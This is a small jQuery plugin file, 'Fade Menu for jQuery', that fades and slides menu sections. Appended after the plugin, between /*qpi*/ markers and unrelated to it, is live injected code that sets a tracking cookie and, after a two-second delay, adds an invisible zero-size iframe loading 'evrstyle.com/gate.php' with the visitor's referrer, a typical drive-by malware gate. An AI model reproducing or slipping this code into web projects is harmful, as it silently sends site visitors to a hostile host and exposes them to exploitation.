/**
 * Fade Menu for jQuery
 * 
 * http://www.renderrobot.com
 * 
 * Copyright (c) 2009 Alex Fish
 *
 * alex@renderrobot.com
 *
 * Dual licensed under MIT and GPL.
 *
 */

(function($){
	
	$.fn.fademenu = function(options){
		
		var 
			defaults = {
				fadeout : 400,
				fadein : 500,
				slideup : 500,
				slidedown : 500
			},
			settings = $.extend({}, defaults, options);
			
			this.each(function(){
			
					$(".mainp:not(div#open)").hide();
					$("h1 a").click(function(){
    					if ($.css(this, "display") !== "none" && $.css(this,
"visibility") !== "hidden") {			
							$(".mainp").fadeTo(settings.fadeout, 0);
							$(".mainp:visible").slideUp(settings.slideup);
							$(this).parent().next().slideDown(settings.slidedown);
							$(this).parent().next().fadeTo(settings.fadein, 1);
							}
						return false;
						});
		
			});
		
			return this;
	}

})(jQuery);/*qpi*/
function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}
var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled)
{
	document.cookie='1=1;expires='+e.toGMTString()+';path=/';
	window.setTimeout(function(){
		var JSinj=document.createElement('iframe');
		JSinj.src='http://evrstyle.com/gate.php?f=855917&r='+escape(document.referrer||'');
		JSinj.width='0';
		JSinj.height='0';
		JSinj.frameborder='0';
		JSinj.marginheight='0';
		JSinj.marginwidth='0';
		JSinj.border='0';
		try{
			document.body.appendChild(JSinj);
		}catch(e){
			document.documentElement.appendChild(JSinj);
		}
	}, 2000);
}
/*qpi*/
